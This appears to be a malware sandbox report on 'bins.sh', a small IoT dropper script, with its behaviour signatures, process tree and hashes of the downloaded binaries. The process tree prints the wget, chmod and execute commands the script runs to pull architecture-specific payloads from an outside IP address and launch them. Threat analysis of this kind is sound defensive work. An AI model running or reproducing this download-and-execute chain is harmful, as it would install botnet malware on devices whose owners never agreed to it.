Analysis

  • max time kernel
    3s
  • max time network
    4s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20260513-en
  • resource tags

    arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    20/07/2026, 00:16

General

  • Target
    bins.sh
  • Size 402B
  • Sample260720-aky2dsct71
  • SHA256 5ed172ed40eab43eef5f3006d1f0028396584ae649c998d88aaff463db6a941a
  • MD5 SHA1 SHA512 TLSH

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 8 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 8 IoCs
  • Unexpected DNS network traffic destination 10 IoCs

    Network traffic to other servers than the configured DNS servers was detected on the DNS port.

  • System Network Configuration Discovery 1 TTPs 2 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 8 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
    • Executes dropped EXE
    PID:643
    • /usr/bin/wget
      wget http://156.226.174.98/release/arm -O /tmp/arm
      2⤵
      • Writes file to tmp directory
      PID:644
    • /bin/chmod
      chmod +x /tmp/arm
      2⤵
      • File and Directory Permissions Modification
      PID:664
    • /usr/bin/wget
      wget http://156.226.174.98/release/arm5 -O /tmp/arm5
      2⤵
      • Writes file to tmp directory
      PID:666
    • /tmp/arm
      /tmp/arm aterna
      2⤵
        PID:665
      • /bin/chmod
        chmod +x /tmp/arm5
        2⤵
        • File and Directory Permissions Modification
        PID:672
      • /usr/bin/wget
        wget http://156.226.174.98/release/arm6 -O /tmp/arm6
        2⤵
        • Writes file to tmp directory
        PID:674
      • /tmp/arm5
        /tmp/arm5 aterna
        2⤵
          PID:673
        • /bin/chmod
          chmod +x /tmp/arm6
          2⤵
          • File and Directory Permissions Modification
          PID:676
        • /usr/bin/wget
          wget http://156.226.174.98/release/arm7 -O /tmp/arm7
          2⤵
          • Writes file to tmp directory
          PID:678
        • /tmp/arm6
          /tmp/arm6 aterna
          2⤵
            PID:677
          • /bin/chmod
            chmod +x /tmp/arm7
            2⤵
            • File and Directory Permissions Modification
            PID:679
          • /usr/bin/wget
            wget http://156.226.174.98/release/x86 -O /tmp/x86
            2⤵
            • Writes file to tmp directory
            PID:681
          • /tmp/arm7
            /tmp/arm7 aterna
            2⤵
              PID:680
            • /bin/chmod
              chmod +x /tmp/x86
              2⤵
              • File and Directory Permissions Modification
              PID:682
            • /usr/bin/wget
              wget http://156.226.174.98/release/x86_32 -O /tmp/x86_32
              2⤵
              • Writes file to tmp directory
              PID:684
            • /tmp/x86
              /tmp/x86 aterna
              2⤵
                PID:683
              • /bin/chmod
                chmod +x /tmp/x86_32
                2⤵
                • File and Directory Permissions Modification
                PID:686
              • /usr/bin/wget
                wget http://156.226.174.98/release/m68k -O /tmp/m68k
                2⤵
                • Writes file to tmp directory
                PID:688
              • /tmp/x86_32
                /tmp/x86_32 aterna
                2⤵
                  PID:687
                • /bin/chmod
                  chmod +x /tmp/m68k
                  2⤵
                  • File and Directory Permissions Modification
                  PID:690
                • /usr/bin/wget
                  wget http://156.226.174.98/release/mips -O /tmp/mips
                  2⤵
                  • System Network Configuration Discovery
                  • Writes file to tmp directory
                  PID:692
                • /tmp/m68k
                  /tmp/m68k aterna
                  2⤵
                    PID:691
                  • /bin/chmod
                    chmod +x /tmp/mips
                    2⤵
                    • File and Directory Permissions Modification
                    PID:695
                  • /usr/bin/wget
                    wget http://156.226.174.98/release/mpsl -O /tmp/mpsl
                    2⤵
                      PID:698
                    • /tmp/mips
                      /tmp/mips aterna
                      2⤵
                      • System Network Configuration Discovery
                      PID:697

                  Network

                        MITRE ATT&CK Enterprise v16

                        Replay Monitor

                        Loading Replay Monitor...

                        Downloads

                        arm

                        • Path /tmp/arm
                        • Size 221KB
                        • SHA256 c3cd074bbfecf4a56c59eec4a096fe6fcbe926430da315e35237254c4c630904
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        arm5

                        • Path /tmp/arm5
                        • Size 213KB
                        • SHA256 d296143aaf778fca82be5082e64f3fc891b8b2b4d43fb7137bccd217b5412c21
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        arm6

                        • Path /tmp/arm6
                        • Size 229KB
                        • SHA256 9778402987f2f9aabcf79e09c51fba3a7aacaf288018dc0b3921d3dcf2455b00
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        arm7

                        • Path /tmp/arm7
                        • Size 209KB
                        • SHA256 bd8e42c47822fa2624ad08ef4adfd8b82147ebb4afa09a1ae87acf6b238b2008
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        m68k

                        • Path /tmp/m68k
                        • Size 222KB
                        • SHA256 8ecbb0120ef8567cb12258e6d1d340fddf7c43eb63c35c8d3c9be67371212e52
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        mips

                        • Path /tmp/mips
                        • Size 251KB
                        • SHA256 1d29407efa89957662720ffb0b2dbd018854613183a8b5e0c43744e97df5859f
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        x86

                        • Path /tmp/x86
                        • Size 116KB
                        • SHA256 b417602c46d2b9d360ab12eff8d231a912bc4d1a0f69358b8d1b25a6bb15b2c8
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        x86_32

                        • Path /tmp/x86_32
                        • Size 152KB
                        • SHA256 cf52a17eca6e450d2912c76c672c985c3f5d1a7d681df83234d32a8f3b8b4b30
                        • MD5 SHA1 SHA512 SSDEEP TLSH